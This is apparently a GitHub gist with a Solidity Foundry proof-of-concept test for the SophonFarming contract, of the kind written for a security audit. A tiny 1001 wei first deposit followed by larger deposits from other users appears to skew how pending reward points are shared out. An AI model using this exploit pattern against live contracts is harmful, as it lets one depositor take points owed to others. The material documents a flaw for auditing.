-
-
Save 0xSandyy/510031223205e7f8a729348fd86408f5 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// paste this test in the SophonFarming.t.sol and run with: $ force test --match-test test_poc -vvv | |
// Also read the comments inside the POC to better understand the flow | |
function test_poc() public { | |
uint256 amountToDeposit = 1001 wei; | |
// 1001 wei is the limit set in MockStETH.sol:submit(). | |
uint256 secondDeposit = 1 ether; | |
uint256 thirdDeposit = 1 ether; | |
uint256 fourthDeposit = 1 ether; | |
uint256 fifthDeposit = 1 ether; | |
uint256 sixthDeposit = 1 ether; | |
address alice = address(10); | |
vm.deal(alice, amountToDeposit + 1e18); | |
address bob = address(20); | |
vm.deal(bob, secondDeposit); | |
address carol = address(30); | |
vm.deal(carol, thirdDeposit); | |
address dave = address(40); | |
vm.deal(dave, fourthDeposit); | |
address eve = address(50); | |
vm.deal(eve, fifthDeposit); | |
address ferdie = address(60); | |
vm.deal(ferdie, sixthDeposit); | |
uint256 poolId = sophonFarming.typeToId(SophonFarmingState.PredefinedPool.wstETH); | |
vm.startPrank(alice); | |
sophonFarming.depositEth{value: amountToDeposit}(0, SophonFarmingState.PredefinedPool.wstETH); | |
vm.stopPrank(); | |
vm.roll(block.number + 1); | |
vm.startPrank(bob); | |
sophonFarming.depositEth{value: secondDeposit}(0, SophonFarmingState.PredefinedPool.wstETH); | |
vm.stopPrank(); | |
vm.startPrank(carol); | |
sophonFarming.depositEth{value: thirdDeposit}(0, SophonFarmingState.PredefinedPool.wstETH); | |
vm.stopPrank(); | |
vm.startPrank(dave); | |
sophonFarming.depositEth{value: fourthDeposit}(0, SophonFarmingState.PredefinedPool.wstETH); | |
vm.stopPrank(); | |
vm.startPrank(eve); | |
sophonFarming.depositEth{value: fifthDeposit}(0, SophonFarmingState.PredefinedPool.wstETH); | |
vm.stopPrank(); | |
vm.startPrank(ferdie); | |
sophonFarming.depositEth{value: sixthDeposit}(0, SophonFarmingState.PredefinedPool.wstETH); | |
vm.stopPrank(); | |
// alice deposits again | |
vm.startPrank(alice); | |
sophonFarming.depositEth{value: 1e18}(0, SophonFarmingState.PredefinedPool.wstETH); | |
vm.stopPrank(); | |
vm.roll(block.number + 100); | |
uint256 pendingPointAlice = sophonFarming.pendingPoints(poolId, alice); | |
console.log(pendingPointAlice); | |
uint256 pendingPointBob = sophonFarming.pendingPoints(poolId, bob); | |
console.log(pendingPointBob); | |
uint256 pendingPointsCarol = sophonFarming.pendingPoints(poolId, carol); | |
console.log(pendingPointsCarol); | |
uint256 pendingPointsDave = sophonFarming.pendingPoints(poolId, dave); | |
console.log(pendingPointsDave); | |
uint256 pendingPointsEve = sophonFarming.pendingPoints(poolId, eve); | |
console.log(pendingPointsEve); | |
uint256 pendingPointsFerdie = sophonFarming.pendingPoints(poolId, ferdie); | |
console.log(pendingPointsFerdie); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment